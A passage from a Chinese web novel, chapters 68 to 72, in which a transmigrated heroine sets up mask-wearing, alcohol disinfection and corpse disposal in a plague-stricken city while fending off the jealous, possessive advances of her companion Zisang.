“抱着我也不止疼啊。”赵玉屿无奈,“要不你先去睡一会吧,睡着了便不痛了。”
子桑依旧不抬头,脸反而埋得更深,整个人贴在赵玉屿的身上,险些要将她压倒:“疼”
赵玉屿:“”
怎么还撒上娇了?!
第69章
见子桑撒娇耍赖不愿意起来,赵玉屿叹了口气:“子桑大人,淳儿还在驿站呢,我得去将她安顿好。”
子桑听到这个名字心里就嫌恶得不行,坐起身子蹙眉道:“想她做什么?”
赵玉屿耐心解释:“就算不想淳儿也得处理好驿站的事情啊,咱们两个人凭空消失了也不是个事儿,若是明日柳驿丞他们寻不到人,不就麻烦了。”
“寻不到就寻不到呗。”子桑不以为意,“钱又不是没给他们。”
赵玉屿无奈:“子桑大人……”
子桑瞧了她一眼,不悦道:“那就让猴大和小白去将那丫头带来不就行了,何必亲自跑一趟。”
赵玉屿却摇头:“不行,这里太危险了,不能让淳儿跟过来,我想将她先送到安全的地方。”
见赵玉屿居然这么为那丫头着想,子桑心中有些烦闷,怨毒地希望那丫头能早点死。
但她若死了,玉儿必定又会难过。
子桑烦躁地朝后一靠,最终妥协道:“我同你一块去。”
赵玉屿望着他的手臂:“可你的伤……”
子桑嘴角下弯,出口却是有些尖酸刻薄:“难为你还记得我的伤呢。”
到底是因为自己才弄成这样,赵玉屿有些不好意思:“子桑大人,谢谢你保护我,要不是你,我怕是得断胳膊断腿了。”
子桑见她心疼自己,原本下垂的嘴角又重新扬起,挨着她身边道:“之前的话我还未说完呢。”
赵玉屿奇怪:“什么话?”
子桑略微凑近,完好的那只手按在赵玉屿坐下的椅边,整个人几乎贴着她的身子,将她圈在自己被烛光投下的阴影里,微微弯起的眼眸潋滟暗光,声音轻柔道。
“你亲我一下,我就会更喜欢你了。”
他边说着下巴微扬已经主动将唇凑上,几乎贴到她的唇畔却不吻上去,双眸凝望着赵玉屿一瞬也不瞬,耐心的等在那里,等着她主动吻上来。
两人的距离太近,赵玉屿忍不住缩着身子朝后靠去,然而却不再有退缩的空间。她的身后是长椅,此时整个人的后背紧贴着椅背,退无可退,靠近一点,便会贴上少年的双唇,她只能目光飘忽在子桑如水的眼眸和薄唇间来回移动。
然而鼻息交织间相互纠缠,周遭的空气似乎也随着逐渐短促的呼吸而炽热,染上了子桑身上淡淡的茶香味。他的呼吸缓缓湿濡了赵玉屿的脸,将她的双颊染得绯红。
赵玉屿伸手想要推开子桑,又担心碰到他的胳膊,只得抵着他的胸口细声提醒:“子桑大人,你的胳膊……”
子桑的声音低柔而略带蛊惑,像是诱人踏入陷阱的精魅般耐着性子,拖长了尾音缓缓勾引道:“那你亲我一下,我就不疼了。”
赵玉屿脸颊飞红如霞云,望着子桑昏暗烛光下微微泛着水色的双唇,原本推拒他的双手失了力气,只堪堪贴着他的胸膛没有丝毫的抵抗力,她浑身因为过度紧张而微微发抖,脑海里理智与冲动挣扎纠结着要不要吻上去。
要是真亲上去,友谊就变质了!
子桑见赵玉屿五官因为纠结而拧成一团,真可爱,像是奶白的包子。
他略微扬起嘴角,低下头在她唇上轻啄了一下,而后退开。
赵玉屿:“!!!”
只那蜻蜓点水的一吻,她却双唇酥麻,像是一片树叶落入湖面,从唇上那一点散开,水波涟漪般荡漾全身。
赵玉屿喉咙下意识微动,脑袋昏昏沉沉间伸手抚上唇畔,柔软的触感似乎还未散去,心脏却声若擂鼓。
子桑轻咦一声:“我好想听到了什么声音。”
他的目光划过赵玉屿的唇畔、脖颈,落在胸膛的同时伸出左手抚上。
“在这里。”他的声音轻慢如烟云,“它跳得很厉害。”
脑海如同天雷炸起,赵玉屿觉得自己的节操碎了一地。
要不要,要不要将人家的心事戳破啊!
而且你在摸哪里?为什么看起来如此娴熟!
赵玉屿顿时脸红脖子粗,下意识将子桑一把推开跳起身子。
“哎呦”一声,子桑已经人仰马翻从椅子上摔倒在地。
赵玉屿也没想到自己手劲这么大,吓了一跳,赶忙将子桑扶起。
“子桑大人,你没事吧!”
许是磕到了胳膊,子桑倒吸一口凉气,眉头轻蹙起,微微敛下眼眸:“疼”
赵玉屿见伤到了胳膊,赶忙就要去找何大夫过来,却被子桑一把拉到怀里,委屈道:“你为什么要推我?”
赵玉屿:“”
好问题,男女授受不亲你不知道吗!
不对,子桑好像真的没将这玩意当回事过。
对于一个有礼节的人来说,或许知道什么是矜持。
但是对于一个将道德抛诸脑后的人来说,跟他提矜持就是在对牛弹琴。
赵玉屿结结巴巴道:“那,那你为什么要摸我?”
子桑直视着她的眼睛:“你心跳得很厉害,同上次我吻你时一模一样。”
被戳破心思,赵玉屿梗着脖子索性破罐子破摔:“那又怎么样!”
人家没接过吻没见过世面,心跳得快点怎!么!了!
哼!
子桑却没有嘲笑也没有挖苦,而是牵起她的手,缓缓而有力地按在自己的胸口,笑意压弯了眉眼,目光清澈如水,一汪真挚:“我也是。”
晓风拂春面,嫩芽破雪生。擂鼓心跳咚、咚、咚,一声又一声,比方才还要大,还要急,盖过了一切喧嚣浮尘,万籁俱寂。
懵懂的、朦胧的、隐晦的那层糊纸似乎隐隐约约即将被戳破,赵玉屿张了张口,想要说些什么,却一时间又不知道该说些什么。
一直到两人乘着小白飞跃层层楼宇,赵玉屿望向身后的子桑,还是未能将话说出。
她想问子桑方才的话是什么意思?
是告白吗?
可是即便方才他吻了自己,系统却并未传来好感度提升的提示音。
这又让赵玉屿有些犹豫和退缩,不敢问出口。
还是说,方才的一吻只是一时的顽劣呢。
寒凉的长风吹过,赵玉屿打了个寒颤。子桑已经从后面搂住她,替她挡去冷风。
赵玉屿身子微怔,她被子桑环绕着,感受到他怀中的暖意,敛下的眼眸有些复杂。
子桑他,真的明白什么是喜欢吗?
他的吻,他的喜欢,会不会只是如同对待猴大小白那样的玩伴间的亲昵,又或者连他自己都不懂得那一吻的含义?
小白挥舞着翅膀飞落在驿站的窗沿。
赵玉屿收敛神色,暂且不去考虑这些问题。
她推开窗户进了屋,收拾好东西后便敲响了隔壁房间。
不一会儿,房门被打开,露出一道消瘦单薄的身影。淳儿懵懵懂懂的站在屋里,瞧见赵玉屿眼前一亮:“姐姐。”
赵玉屿笑着走进屋里,见桌上的拔丝苹果她都吃得干净,揉了揉她的脑袋笑道:“这么喜欢吃甜食呀?”
淳儿点了点头:“嗯!”
“那这段时间淳儿就先自己在这里住下,姐姐每晚都叫大厨给你做甜点好不好?”
淳儿听到这话,先会儿还笑着激动点头,好些时间才反应过来赵玉屿的意思,怔怔地望向她:“姐姐……”
赵玉屿耐心解释:“淳儿别怕,哥哥姐姐有要紧的事情要处理,所以要先离开一段时间。等我们把事情处理好了,就会回来接淳儿的。”
赵玉屿将怀里挂着脖子的猴大摘下塞到淳儿怀中:“这段时间,淳儿就在这里等着哥哥姐姐好不好?猴大会陪着你的。”
猴大斜眼睨着淳儿,原本不想在这小傻子怀中待着,但瞧了眼赵玉屿威逼利诱的眼神,又想起主人的命令,便勉勉强强窝在她怀中。
原本淳儿以为赵玉屿他们要丢下她,心中一时惶恐迷茫,但见猴大在这里,便相信他们只是暂时离开,开怀道:“好,淳儿会乖乖的,猴大也会乖乖的。”
她蹭了蹭猴大毛绒绒的脑袋,被猴大一脸嫌弃地推开却并不难过,反而又亲了亲它的爪子。
猴大顿时朝她吐了口口水,淳儿以为它是在跟自己玩,擦了把脸而后抱着它的小脑袋也亲了它满头满脑的口水,猴大顿时瞪大双眼呆若木鸡。
见他们一人一猴相处还算和谐(?),赵玉屿松了口气,将写好的信交给淳儿,嘱咐她明日一早交给柳驿丞,而后便下楼同子桑一块乘马车离开。
有子桑在竟然也不用驾车,马儿便自顾自在驿道上奔跑,两人到了无人之处便放跑了马儿,改乘小白回到渝州城。
明月高悬,漫漫月色下的渝州城凄厉如鬼城。
赵玉屿望向身后心情愉悦的子桑有些奇怪:“子桑大人,你瞧起来很开心?”
子桑舒舒坦坦靠在她身上,禁不住地扬起嘴角。
当然开心,这些日子他们之间总是隔着那个臭丫头分散玉儿的注意力。
而今总算没有了旁人,清风尔尔,仿佛天地之间唯余下他们两人,赵玉屿能看到的只有他一个人。
她的眼中,她的世界里,唯有他一人。
只是想想,就觉得兴奋。
赵玉屿却不知道他此时心中所想,她沉默片刻问道:“子桑大人,你不害怕吗?”
子桑眉梢微扬,很不解她的话:“怕什么?”
“瘟疫无情,回到渝州城若是染上瘟疫很可能会死的。”
虽然系统说攻略对象百分之九十的好感度就可以得到治疗瘟疫的配方,但子桑增长好感度的契机到底是什么她现在也没完全弄明白。
既然不能十拿九稳达到好感度,她只能先选择帮助何附子,一方面救治百姓,一方面想办法,也是存着说不定在医治的过程中能发现瘟疫配方的心思。
虽然冒险些,但也好过躲在安全的地方什么都做不了得要强。而且在渝州城她可以借此机会更近一步的了解何附子,患难与共增进彼此的信任感,顺便给宋承嵘泼泼脏水,对将来完成任务利大于弊。
但是子桑并不知道这些,可他在听到自己要回渝州城时便义无反顾的唤来小白,主动同她一起回来,仿佛已经将生死置之度外。
子桑将头歪在她的肩弯里轻描淡写:“死算得了什么。”
玉儿要去哪,他便陪着玉儿去;玉儿要做什么,他必定要帮玉儿完成心愿;玉儿想要的,即便是杀尽天下人,即便是献出他自己的性命,付出一切也要夺来双手奉上送给她。
他在这世间的存在本没有意义,只要能同玉儿在一块,是生是死对他而言都无所谓。
第70章
赵玉屿却不知道他心中所想,听到子桑的话倒也自觉了然。
也对,子桑连自焚这种极其惨烈的自杀方式一点都不怕的,又怎么会怕死呢。
两人回到渝州城内,小白蹭了蹭子桑的脑袋便展翅飞离。
天色泛起鱼肚白,这一晚上来回奔波两人也有些疲惫,赵玉屿扶着子桑刚回到房内,小院院门便被打开了。
何附子拎着食盒敲响了房门,朝他们笑道:“我给你们带了早膳。”
赵玉屿打开房门,就见何附子走了进来将食盒放在桌上掀开盖子,里面是刚熬好的白粥和馒头,还有几块糕点。
子桑瞧了一眼,丝毫不加掩饰的嫌弃。
何附子知晓他们在帝都养尊处优惯了,可能吃不惯这些,略表歉意道:“早点铺子都已经关了,医馆的人都忙着照顾病人,我就简单做了些。”
赵玉屿连忙捧场感激道:“这特殊时期能有一口热乎的饭已经很不容易了,多谢何姐姐了。”
她瞧着何附子眼下大团的青黛,“何姐姐,你的脸色瞧着不太好,是一夜没睡吗?要不要先休息会?”
何附子笑了笑:“不碍事,医馆还有许多病人要照看,我还有事就先走了。”
见她飘然离去的身影,赵玉屿心中由衷的钦佩。
何附子自小便随师傅游山川识百草,师傅去世后更是一人独行,走遍大江南北,治病救人,堪称悬壶济世。
一个孤女在这世上有多艰辛可想而知,但她从不气馁,也不埋怨,屡屡遇险也能化险为夷。在她眼中世间万物并无高低贫贱之分,即便是遇到一只鸟、一朵花,她也会努力去救活它们。
就算当初被宋承嵘抛弃,何附子也没有一直沉浸在情爱之苦中陷入泥泞不可自拔,忘却自己的初心,而是很快抽身而出,选择遗忘过去重新开始。
她的坚韧、不屈、平和、仁善,像是一汪清泉洗礼世间尘埃,让人不由就会被深深吸引。
多么美好的女孩子。
赵玉屿忍不住赞叹,就跟仙女一样。
对比之下宋承嵘就跟个阴沟里的癞蛤蟆一样,空有高贵的身份没有美好的灵魂,成日想着吃天鹅肉。
赵玉屿心地暗暗鄙夷,虚伪的小人,还不如坦荡的恶人来得痛快。
她更是为何附子原著里的遭遇不值,即便在各种虐恋情深喉的结局,宋承嵘为了何附子散尽后宫,立她为后。但这当真是何附子想要的吗?
还是只是为了孩子,对现实的妥协?
她的后半生只能被关在后宫的金笼中日复一日,逐渐忘记宫外的天空,忘记大雍的每一寸土地,忘却年少时的曾今踏遍山川四海自己。
到最后,甚至忘记了自己的名字,彻底沦为权力的附庸,成为皇后桂冠上那颗岁月蒙尘黯淡无光的东珠。
好在现在还有改变的机会。
赵玉屿下定决心,她一定要拼尽全力改变何附子的结局,至少让她可以选择自己想要的生活。
还有裴小侯爷和子桑
他们不该被命运钉在太初三十六年,他们的人生属于自己。
赵玉屿给自己打足了气,扬起笑脸回头望向子桑,正想同他商量帮助何附子治疗瘟疫的事情,就见子桑正从食盒里挑挑拣拣捏起一块糕点捏了捏,见这糕点手感略显干涩,许是放了些日子,顿时嫌弃地丢回食盒里,起身拉着赵玉屿的手
道:“莫吃这腌臜东西,走,我带你去扬州吃早茶。”
赵玉屿:“”
合着这小爷如今还没搞清楚现状,只当是来这度假呢。
她拽住子桑跨出房间的身子:“子桑大人,咱们还有重要的事情要做呢。”
子桑不解,在他看来当下还没有什么比两人吃上一顿舒服的早膳更重要。
赵玉屿耐心解释:“咱们来这里是为了帮助何大夫救治渝州城的百姓,又不是来玩的。而且天都亮了,大半天的骑鹤也太显眼了,若是被人瞧见怎么办?”
子桑不以为意:“那我让小白将早膳叼来,反正这里离扬州城也近,不会耽误多长时间。”
又要去偷
见赵玉屿绷起脸,子桑知道她心中所想补充道,“让小白把钱丢下不就行了。”
“不行,小白太过扎眼了。这里离帝都不远,若是消息传到了帝都怎么办?咱们现在还不便走漏身份。”
子桑叹了口气:“那你说怎么办?”
赵玉屿嘿嘿一笑,企图劝说:“子桑大人,你现在受伤了,受伤就得吃些清淡的,而且人家何大夫忙中抽闲辛辛苦苦做的早膳,不吃的话也浪费了人家的心意嘛。”
子桑听她张口闭口都是何大夫,眉头拧起:“你为什么对那个大夫如此上心?”
莫当他没瞧见赵玉屿望向那女人的眼神,双眼含星,丝毫不加掩饰的崇拜,就连对他也从未有过这种眼神。
子桑越想越酸,攥紧手掌,表情逐渐阴沉扭曲,嫉妒快要溢出眼底。
先是那个蠢丫头,现在又来了个大夫,这些人真是碍眼。
赵玉屿想起何附子,忍不住星星眼:“你不觉得何大夫人很好吗,又漂亮又温柔,而且医术高超对人又很耐心,简直就是女神。”
见赵玉屿连否认都不否认,甚至对那大夫钦慕至极,子桑冷笑一声:“不觉得。”
他扭身坐回椅子里,眼帘敛下的目光像是毒蛇吐信愈加扭曲怨毒,看着那碗白粥却像是一滩肮脏腐烂的臭泥,猛地将食盒一把推翻,厌恶道:“反正我不吃这东西。”
食盒摔下桌子,白粥打翻在地,白面馒头和糕点也沾上灰尘。
赵玉屿连忙蹲下身子想捡起,一只皂靴踩在馒头上,当着赵玉屿的面缓缓碾压,将馒头和糕点踩得稀巴烂,然后一脚踢开。
得,彻底吃不了了。
她站起身,瞧着坐在椅子里,扭头使起性子扭头不瞧她的子桑无奈道:“子桑大人,浪费粮食是可耻的。”
子桑轻哼道:“将早膳做得这么恶心才是浪费粮食。”
“你都没吃怎么笃定就难吃?”
赵玉屿心中也来了气,这次不打算惯着他。
这顿饭是何附子百忙之中抽空做的,人家的心意如何能随意糟蹋。更何况如今渝州城非常时期,许多人病死街头,连这一口饭都吃不上,这少爷倒是在这里挑三拣四起来。
她将馒头和糕点一点点捡回来,拎着食盒站起道:“况且你以前又不是没吃过这种饭。都说位高多忘事,我看的确如此。”
子桑见她当真生气,神色微怔,嘴唇蠕动想要说些什么,赵玉屿却没有再瞧他,拎着食盒径直走出房门。
子桑原本想要拦住她,但一想到她竟然为了一个才认识的何附子同他置气,顿时心一横,咬牙坐在位置上不理她。
两人互不相看,赵玉屿一跺脚,拽了条面罩便气冲冲出了院子。
包子和糕点是没法吃了,她拎着食盒穿过小巷走到街面医馆外,正能瞧见何附子正在医馆里忙忙碌碌的抓药。
看到赵玉屿,何附子擦了擦手从医馆里走出来:“你怎么来了?”
赵玉屿有些愧疚:“对不起啊何大夫,我们不小心把食盒弄翻了。”
何附子听是这事,接过食盒温和一笑:“没事,院里还有些包子,我给你热热带回去吃。”
“等等何大夫。”赵玉屿拉住她的胳膊,“我来是有事找你商量的。”
“什么事?”
赵玉屿缓缓道:“我是在想,这瘟疫阻肺,自然是从口鼻呼出,若是飞沫也会传染。但是我瞧着各家医馆病患拥挤闷躁,空气不流通,病人们又没有任何的防护,很容易导致空气中病毒含量过高,相互传染。包括街头小巷里病死的人成山成堆,若是尸体不处理,堆积在一起尸体腐烂滋生细菌,还有老鼠蟑螂,若是蚊虫叮咬更是容易导致其他的疾病。咱们这环境太过恶劣,不利于瘟疫防护,得改。”
何附子听着她口中源源不断吐出的之前闻所未闻的用语,一愣一愣,但又莫名觉得她说得挺对。
“那你说该如何改进?”
赵玉屿伸出手指:“第一,除了大夫,所有的病人也得带上面罩防止飞沫;第二,每日用烧酒洗手,保持干净卫生;第三,要勤开窗通风,防止病毒聚集;第四,将所有已故之人焚烧,防止滋生病菌。”
她叹了口气,“防护虽然不能根治瘟疫,但至少可以减少患病的人数、降低染病概率,这样也就能拖延些时间研制药方,多救一个是一个。”
她一拍手:“对了,面罩也可以改进,如今的面罩行动不便,可以裁剪成长条状变成简易口罩挂在耳朵上,这样一来减少了用料,可以多增加些口罩给更多的人戴,二来行动起来更方便。”
何附子眨了眨眼,见赵玉屿言之凿凿,点了点头:“好,那试试吧。”
死马当成活马医,总不会比现在更差了。
何附子犹豫:“其他的医馆倒是可以做,但焚烧尸体仅凭医馆几人怕是无法办到。”
“衙门的人呢?”
何附子扯了扯嘴角:“衙役们要么死了要么跑了,早已所剩无几。知州虽然还在,但他手下无人,每日又要处理城中大小事务,也着实抽不开手。衙门这些日子倒也有处理尸体,但逝去的人实在太多了,根本处理不完啊。”
这样啊,难怪大街小巷都是尸体。
这倒的确是个难事。
赵玉屿思忖片刻,忽而眼前噌得一亮。
谁说没帮手!
70-80
第71章
何附子望着她不解,赵玉屿未待说话,就听到长街传来一阵喧嚣。
两人赶去一看,几个百姓正站在城门前大声质问。
“为什么不开城门?!”
“为什么要把我们关在这里!”
“我们只是途径此地,也没有感染瘟疫,为什么不让我们出去!”
哀嚎的哭腔里酝酿着愤怒和惊恐。
守城的官兵将长戟对准他们呵斥:“知州下令,任何人不得出城,若再上前一步,休怪我不客气!”
他的长戟向前一步,将众人逼退。
有人哭出了声:“这是要我们都死在这里吗?”
有人扑通跪倒在地哀求:“各位老爷,我只是今早来送药材的,我没有得病啊,求求你们放我出去吧!我家中还有一家老小等着我回去呢!他们没了我不行啊!”
“是啊官老爷,我们都只是来运货的在这里也没地方住啊,咱们上有老下有小,求求官老爷开恩放我们出城吧!我们没病啊!”
一声起,众人纷纷跪倒在地哀求:“求官老爷开恩,放我们出城吧!”
“你们说没病就没病吗!若是出了城传染给了外面的人,那上面怪罪下来最先摘了我们的脑袋!”
士兵不为所动,锋利的长戟毫不退让,在日光下闪现锃亮寒光。
众人哀痛不止,面对面无表情的士兵却别无他法,只得哭着相互搀扶离开。
何附子面色低沉,当真封城了。
自古各朝各代对于瘟疫也多有设置疠所隔离病患,但同时也会委派大夫救治。
可如今朝廷既没有派人前来支援,也没有任何其他指示却突然下令封城,想来是彻底抛弃了渝州。
何附子又想起那张信纸,敛下眼眸,看来赵玉屿他们说得没错,原本宋承嵘是打算屠城的。
屠城,的确是最有效隔绝瘟疫传播的办
法,可连救治都不尝试就不由分说处置了满城人的性命,未免也太过残忍。
这当真是她认识的那个夫君吗?
印象里,那个人总会在她出诊时跟随着她暗地保护,虽对于病人有些漠然,却也曾在有无辜孩童遇险时舍身相救。
难道那些都是假的吗?
到底哪一个才是真实的他。
赵玉屿瞧着眼前哀哭不止的众人,又望了眼神色复杂的何附子,心里无奈叹了口气。
帝王心性,本就薄凉。
何附子与宋承嵘的过往,她通过原著也多多少少知道些,或许当初化名苏元初的宋承嵘的确是个劫富济贫、侠义心肠的人,也是真心爱着何附子。
但当选择回到帝都的那刻,身为太子的宋承嵘便早已摒弃了自己内心属于苏元初的那部分,成为一个为了谋夺利益不择手段的政客。
又或许最开始的苏元初就是宋承嵘,只是于他而言,平民如蝼蚁伤不得他分毫,所以对于与他利益无关事情总是格外宽容,让何附子以为那就是他的本性。
不论如何,现如今的何附子和宋承嵘,再也不回不去了。
赵玉屿朝何附子道:“现在最重要的是要抓紧时间研制药方,其他的交给我来做。”
何附子收敛失望,重新打起精神:“我知道,我会同其他的大夫一道研制药方。”
她顿了顿,又有些担忧,“可是你那边一个人忙得过来吗?”
赵玉屿自信拍了拍胸口:“放心吧,不管怎么说这座城里活着的人都不想死,只要发动大家一起帮忙,事情总会解决的。”
事态紧急两人也不多啰嗦,何附子赶回医馆,赵玉屿没有同她一道回去,而是沿街找了一家裁缝店,敲了半晌的门才传来回应。
“谁啊?”
赵玉屿喊道:“我是医馆的人,想请您帮忙做些防护的口罩。”
她原以为非常时期,医馆到底是治病救人的地方,名号好使些。
没想到里面那人非但门都没开,还出声撵道:“走走走,莫要来我店里!”
而后就听到门上插栓的声音,里面那人将门彻底抵死。
“……”
见这家不成,赵玉屿沿街又找了几家店铺,结果家家都吃了闭门羹,唯有一家酒铺还开着门。
她大喜,走进去朝里面喊道:“老板,你店里的烧酒我全都买了。”
“来喽!”
话音未落,从里屋走出来一个打扮利落的中年男子,他带着面巾只露出上半张脸,见了赵玉屿笑道:“小娘子,我这下面可是有个酒窖,全部买下可是需要一大笔钱的,况且您一个人怕是抬不动吧。”
赵玉屿见他居然不怕自己,好奇道:“掌柜的,其他店铺都紧闭铺门对客人避之不及,你这怎么倒是还敢开门做生意?”
掌柜的摆了摆手:“如今每天都在死人,各家铺子都怕了,不敢开门接客,生怕染上瘟疫。”
“那你不怕吗?”
掌柜的嗐了一声:“有钱哪有不赚的道理。就连护国神使那神仙般的人物都葬身大海了,生死有命富贵在天,阎王让你三更死谁人能活到五更,咱们这些小老百姓成日怕来怕去又有何用?还不如敞开了活,该吃吃该喝喝该赚钱赚钱,别担惊受怕得没病也整出病来。”
赵玉屿听到这话钦佩道:“还是您活得通透。”
那掌柜的笑呵呵:“小娘子,你要将这些烧酒送到哪里,我分批帮你送去吧。”
“送到医馆去。”
掌柜的听到这话奇怪:“医馆要这么多酒做什么,这些日子大夫们不都忙着治病吗?”
赵玉屿解释道:“这些酒就是用来治病的。掌柜的,您每日除了焚烧药囊除秽外,可以用烧酒擦拭桌椅家居,将碗筷用烧酒浸泡清洗,切记一定要用烈度高的烧酒,这样可以一定程度防护身体。”
掌柜的之前倒是没挺过这种说法:“当真可以预防?”
“虽说不能保证不感染,但至少几率会小很多。”
那掌柜的笑道:“行,多谢小娘子了,那我待会给你送去。”
“对了掌柜的,还有件事情要麻烦你,能借块布料和针线吗?”
“你稍等。”虽不知她要做什么,掌柜的还是爽快地从后院取出一块布料和针线箱,“这些够吗?”
“够了。”
赵玉屿用剪刀剪开料子,捏起针线三下五除二便快速缝制了两个简易口罩,将其中一个送给掌柜的道:“掌柜的,这个送给你,戴起来更方便些,一日一换,用烧酒泡洗。我想,您是这街上的老住户了,若是可以的话,能不能请您叨扰一下相熟的裁缝,多做些口罩出来,分发给各家各户,如果还有多余的烧酒也可以发给大家,告诉他们防疫的方法,所有的费用都由医馆出。”
反正何附子身为小侯夫人肯定有钱,再不济等瘟疫结束让裴小侯爷送钱来呗。
掌柜地翻来覆去瞧着这口罩,摘下挂在脸上,的确是方便轻松许多,而且更省布料,顿时爽快答应:“行嘞,包在我身上。”
见他应下,赵玉屿笑眼弯弯:“谢谢掌柜的。”
同掌柜的告了别,赵玉屿抱了一坛酒打算先回医馆,刚出店铺,迎面撞到一个人仓促的怀抱里。
她脚下一个踉跄,怀里的酒差点摔出去,慌忙抱紧,抬头望去。
日头已经悬于头顶,来人高了赵玉屿一头,她迎着日光瞧不清来人的脸,却闻到了那人身上的淡淡茶香。
“子桑大人,你怎么来了?呀,你怎么没带面罩!”
子桑没有说话,他低头凝望着赵玉屿,神色寂寥又黯败,荒凉得像是一口枯井,小心翼翼低声哀求:“不要生气了,好不好?”
早晨他一时嫉妒发了脾气,原本以为赵玉屿会像往日一样耐着性子哄着他,可赵玉屿竟然头也没回地离开,子桑心里顿时有些发慌,却赌气咬牙要坚持到底,必定要让赵玉屿瞧见自己的态度,不让她同那个姓何的大夫亲近。
又等了片刻,见赵玉屿当真没回来,子桑彻底慌了,不由分说跑到医馆寻人,却未见到赵玉屿的身影。
恐惧和惊慌瞬间铺天盖地袭来,他仓皇地奔跑于大街小巷,甚至忘记了召唤小白。
在没有见到赵玉屿的每一刻,他的脑海中总是浮现出一些惶骇的念头。
玉儿是不是不要他了?
玉儿是不是讨厌他了?
玉儿是不是对他失望了?
这些念头在脑海中狂轰滥炸,又如病毒般繁衍肆虐将他掩埋窒息。
而后,在萧条的长街上,他看到了抱着一坛酒的姑娘。
阳光毫不吝啬地挥洒在她身上,将她整个人笼罩在金色的光晕之中。
即便隔着沉厚的面罩,他也能瞧见她含笑的眼眸。
那一刻,仿佛挣扎着揪住稻草浮出水面的溺水者。
他活了过来。
赵玉屿:“?”
子桑不提,她都忘了早晨的事情了。
“嗐,那个啊。”
见他居然主动来道歉,赵玉屿故意拖长了音调,在子桑的焦灼紧张中扬起唇畔,“得看你表现。”
说着她将怀中的酒坛塞到他怀里,甩了甩手:“我累了,帮我抱着。”
子桑立刻乖乖抱起酒坛,将整个酒坛紧紧搂在怀中不留一丝缝隙。
瞧着他难得露出的傻样,赵玉屿扑哧一笑,从怀中掏出刚才缝制好的口罩替他戴上。
虽然子桑头次见到这东西不知是何物,却没有躲避也没有拒绝,甚至没有疑问。
他一动不动地凝望着赵玉屿,感受着她将布料罩在自己脸上,温凉的手指触及耳尖,划过轻微的瘙痒。
他的下半张脸被罩住,遮挡了高挺的鼻梁和红润的薄唇,只露出一双如烟如水的眼眸。
随着赵玉屿的动作,他的眼帘略微低垂,蝶翅般的睫毛微微轻颤,似惊蝉晃动树荫,在眼下投上一片略显缭乱的阴影。
“好了。”
赵玉屿道叮嘱,“以后在外面不能轻易取下口罩,很危险。”
见她关心自己,子桑眼中拢起一抹笑意,颔首应下:“嗯。”
第72章
两人的冷战还未正式开始便悄然宣告结束,赵玉屿立在子桑面前,扬起手臂斗志昂扬:“咱们现在还有许多极其重要的事情要去做,这关乎到全城百姓的安危!子桑大人,你愿意同我一起完成这艰巨却光荣的任务吗!”
子桑虽然不知道她说得是什么,也对全城百姓的安危漠然旁观,但既然赵玉屿说了,他颔首:“当然。”
玉儿想做的事情必定会成功。
若是有不长眼的阻拦,那除掉就好。
前行之路即便荆棘遍地,骸骨丛生,他也会为玉儿扫清一切障碍。
见子桑答应,赵玉屿笑眼弯弯,一拍手:“成!那咱们好好计划一下行动!”
回到院子,见四下无人她取下面罩才觉得呼吸顺畅些,拉着子桑坐下道:“子桑大人,其他的事情我都搞定了,唯独一件事情还需要你帮忙。如今满大街都是尸体,堆积腐烂只会助长瘟疫传播,原本是想让猴大摇猴来帮忙的,但是这样未免太引人注目。所以我想咱们可以先准备好板车,等到晚上将守卫们都迷晕,然后再唤猴子们帮忙把尸体都拉出去,这样神不知鬼不觉,大家只会以为是灵异事件!你看这个主意怎么样?”
她托着下巴皱眉道:“就是迷晕守卫需要下点功夫,我们可以在他们晚饭里下点蒙汗药?或者吹麻针?”
子桑却道:“不用那么麻烦。”
赵玉屿:“?”
子桑撩起腰间的玉笛:“我可以用驭兽术操控守城的士兵开门。”
赵玉屿:“!”
她面色愕然,震惊道:“你,你,你,你可以操控人?!!!”
子桑眉梢微扬:“当然。”
赵玉屿倒吸一口凉气,忽然想起来当初在瑶山祭坛的尸横遍野和泼红鲜血。
竟然是子桑杀的。
那日风雪中充斥的血腥味似乎飘入了她的鼻腔之中,赵玉屿捂着嘴巴忍不住反胃干呕。
子桑以为她身子不舒服,伸出手帮她顺着后背关切道:“怎么了?”
在他的手掌触碰到后背的一瞬间,赵玉屿冷不丁打了一个寒颤,虽然极其微弱,但子桑贴着她肌肤的手掌依旧感受到了那一丝不可察觉的抗拒。
他掌下一顿,缓缓收回了手,望向赵玉屿的眼眸呈现出一种极度平静又奇异的神色。
子桑轻声问道:“玉儿,你在害怕我吗?”
赵玉屿顺着胸口,半晌才缓过劲来。
若说不害怕是不可能的。
那满地的断臂残肢和浆红雪水像是恐怖故事里深夜骤然出现的泼门狗血,每每回想起都让人毛骨悚然。
之前她曾今设想过驭兽术的尽头是不是可以操控人类的思想,而今看来的确如此,并且即便是如瑶山身强体壮的壮汉都毫无反抗力。
可更恐怖的是子桑居然可以同时操控至少几十人,那如果他继续修炼下去呢?
倘若他是个杀人如麻的魔头,只要动动手指就可以置人于死地。
这是赵玉屿第一次意识到子桑的力量,在这世间等同于无上的力量。
当一个人能够轻易掌握他人的生死,那么在他的眼中,还能将人当做人吗,还是只是奴隶和蝼蚁?
她此时脑海中一片混沌,一时不知道该说些什么,也不知道该如何面对子桑。
一只手温柔地捏住她的下巴,赵玉屿下意识一僵,那手指也顿了顿,旋即用一种轻柔又坚定的力道抬起她的下巴让她望向自己。
子桑扬起唇角,又用方才那平静而奇异的语气问了一遍她未曾回答的问题:“玉儿,你在害怕我吗?”
赵玉屿目光闪烁,下意识开脱:“我,我没”
“是吗?”
子桑轻笑一声,原本抵着她下巴的食指顺着她下巴的弧度轻滑到她的唇畔,一撩手指点在她的唇间。
他略微俯下身子,凑到赵玉屿的面前,眯起眼眸似乎想要看清她。他的双眼因为微阖而变得狭长,敛住眼底汹涌澎湃的暗光。
他道,“玉儿,旁人都可以害怕我,你不可以。”
他可以为了玉儿克制、隐忍、伪装成一个所谓的“好人”,却无法容忍她欺骗自己、畏惧自己、躲避自己、抛弃自己。
赵玉屿被他眼底的疯狂震撼到,张了张口解释:“我只是没想到你的驭兽术居然已经这么厉害了。”
她的解释很是心虚,子桑的食指在她的唇上轻抚,即便她说话时都没有离开。他微歪脑袋,目光露出不再掩饰的贪婪和欲望。
“那就证明给我看。”
赵玉屿莫名有些发憷:“怎,怎么证明……”
“吻我。”
吻……
赵玉屿面色一红,赫然想起当初海上他猝不及防的一吻。
子桑双眸点光,凝着期待和灼热,蛊惑道:“你吻我,我就相信你。”
赵玉屿望着他极具欺骗性的玉容,目光从他的漆黑的眼眸落在那双泛着水色润光的薄唇上。
